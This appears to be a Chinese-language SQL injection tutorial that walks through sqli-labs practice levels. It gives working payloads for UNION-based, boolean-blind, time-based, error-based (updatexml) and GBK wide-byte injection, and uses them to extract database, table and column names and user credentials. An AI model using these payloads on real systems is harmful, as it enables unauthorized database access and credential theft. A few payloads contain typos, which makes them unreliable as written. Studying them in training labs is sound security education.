SQL注入
SQL注入
hihopkcSQL注入
判断注入类型
判断注入类型是数字型还是字符型
如果输入1 and 1=1和1 and 1=2页面的查询结果都返回相同的内容,说明不是数字型注入。
既然不是数字型,那就有很大的可能是字符型注入了。如果是字符型则需要对单引号(’)进行闭合
Get显错注入
联合查询
以sqli_labs第一关为例
判断字符型还是数字型
1 | ?id=1asd |
发现可以显示,为字符型
判断列数
1 | ?id=1' order by 4%23 |
发现4错,3可以正常显示,即列数为3
判断注入点,即回显位
1 | ?id=-1' union select 1,2,3%23 |
回显位置为2,3的位置
获取数据库名、版本
1 | ?id=-1' union select 1,2,3%23 |
发现数据库名字为security
获取数据库表名
1 | ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23 |
获取某个表中的字段名
1 | ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+ |
获取字段中的记录
1 | ?id=-1' union select 1,(select group_concat(username,password) from users),3--+ |
Get盲注
bool注入
以sqli_labs第八关为例
获取数据库长度
?id=1' and length(database())=8--+
获取数据库名
?id=1' and substr(database(),1,1)='s'%23
接下来就算一个一个的进行截取,直到截取了8位为止,比如截取第二位
?id=1' and substr(database(),2,1)='e'%23
除了以上方法之外,还可以把要猜解的内容转换为ascii码,然后使 用ascii()函数,比如
?id=1' and ascii(substr(database(),1,1))=115%23
获取当前数据库名字:security
获取数据库表
获取表的总数
?id=1' and (select count(table_name) from information_schema.tables where table_schema="security")=4--+
获取数据库表名长度
为了避免无效的查询,可以先获取表名的长度再获取数据库表具体名字
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23
第一个表长度为6
获取数据库的表名
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'%23
或者
?id1' and ascii((select table_name from information_schema.tables where table_schema=database() limit 0,1))=101
此为获取当前数据库第一个表的第一个字符
如果再使用ascii()函数进行转换的话,则为
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
然后依次改变substr(string, start, length)中的start即可
获取当前数据库第二个表的第一个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114
获取当前数据库第二个表的第二个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114
所有表明emails,referers,uagents,users
获取数据库的列
获取表中字段的数量
id=1' and (select count(column_name) from information_schema.columns where table_name="emails")=2%23
但是有可能系统中不止一个emails表,所以还可以加个条件,
?id=1' and (select count(column_name) from information_schema.columns where table_name="emails" and table_schema='security')=2%23
获取长度
?id=1' and length((select column_name from information_schema.columns where table_name='emails' and table_schema='security'limit 0,1))=2%23
获取当前字段名
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),1,1)='i'
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),1,1)='e'
使用ascii()函数进行转换:
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1))=105%23
id=1’ and asci(mid(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=100
依次类推,可得到所有表的所有字段
获取字段中的记录
获取字段id的第一个记录
?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49%23
获取字段id的第二个记录
?id=1' and ascii(substr((select group_concat(id) from emails),2,1))=44%23
sleep注入
在页面中,不管用户输入什么,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据 有没有在目标数据中得到执行。当然也需要构造闭合。
判断是否存在注入
由于没有任何回显位置,所以无法通过正常的方法判断是否存在注入。可以使用1 and sleep(5) 或者1‘ and sleep(5)# 进行测试,如果页面有延迟,说明存在漏洞
sleep(n):将程序挂起一段时间,n为n秒
获取数据库长度
语法格式:if(expr1,expr2,expr3)
以sqllab第九关为例
?id=1' and if(length(database())=8,sleep(5),1)%23
获取数据库名
?id=1' and if(substr(database(),1,1)='s',sleep(5),1)#
使用ascii()函数获取
id=1' and if(ascii(substr(database(),1,1))=115 ,sleep(5),1)%23
获取数据库表
获取数据库表的数量
?id=1' and if((select count(table_name) from information_schema.tables where table_schema="security")=4,sleep(5),1)%23
获取表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)%23
依次获取其它表的长度,第一个表为6,第二个表为8,第三个表为 7,第四个表为5
获取数据库表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)%23
最终获取到的第一个表的字符对应的ascii码值为101、109、97、 105、108、115,对应的字符为emails
报错注入
通过函数报错获取信息: 使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息
前提: 后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面
常用的报错函数: updatexml()、extractvalue()、floor
以sqli-labs靶场的第五关为例
判断是否存在注入
判断注入类型
通过“1’ and 1=1#”和“1’ and 1=2#”进行判断
获取数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
获取数据库表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
获取表中的字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)%23
获取字段中的记录
?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23
由于xpath只会报错32个字符,所以可以使用substr()函数进行字符串截取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),1,30),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),31,30),0x7e),1)%23
宽字节注入
原理
一个GBK汉字占两个字节,每个字节有自己的取值范围,如果设置 GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动解析为一个汉字。
Addslashes函数防止sql注入,将传入参数值进行转义。例如将 ‘ 转义为 ' ,这样我们在注入的时候闭合单引号就会变成 id=’1' ,这样会导致闭合失败从而注入失败。
绕过方式:
输入%df%27,本来会转义%27为 ' ,但 \ 遇上%df相当于%5c 和%df相遇,两者会合起来被解析成一个汉字(運),这样变成 id=’1 運’,在MYSQL中效果等同于 id= ‘1’ ,因而成功绕过。
用户输入:1%df’or 1=1#
转义后为: 1%df\‘ or 1=1#
由于SET NAMES gbk后,属于gbk编码2字节的范围,因此%df\成为一 个字符:運
执行语句:SELECT * FROM users WHERE id=’1運’ or 1=1#’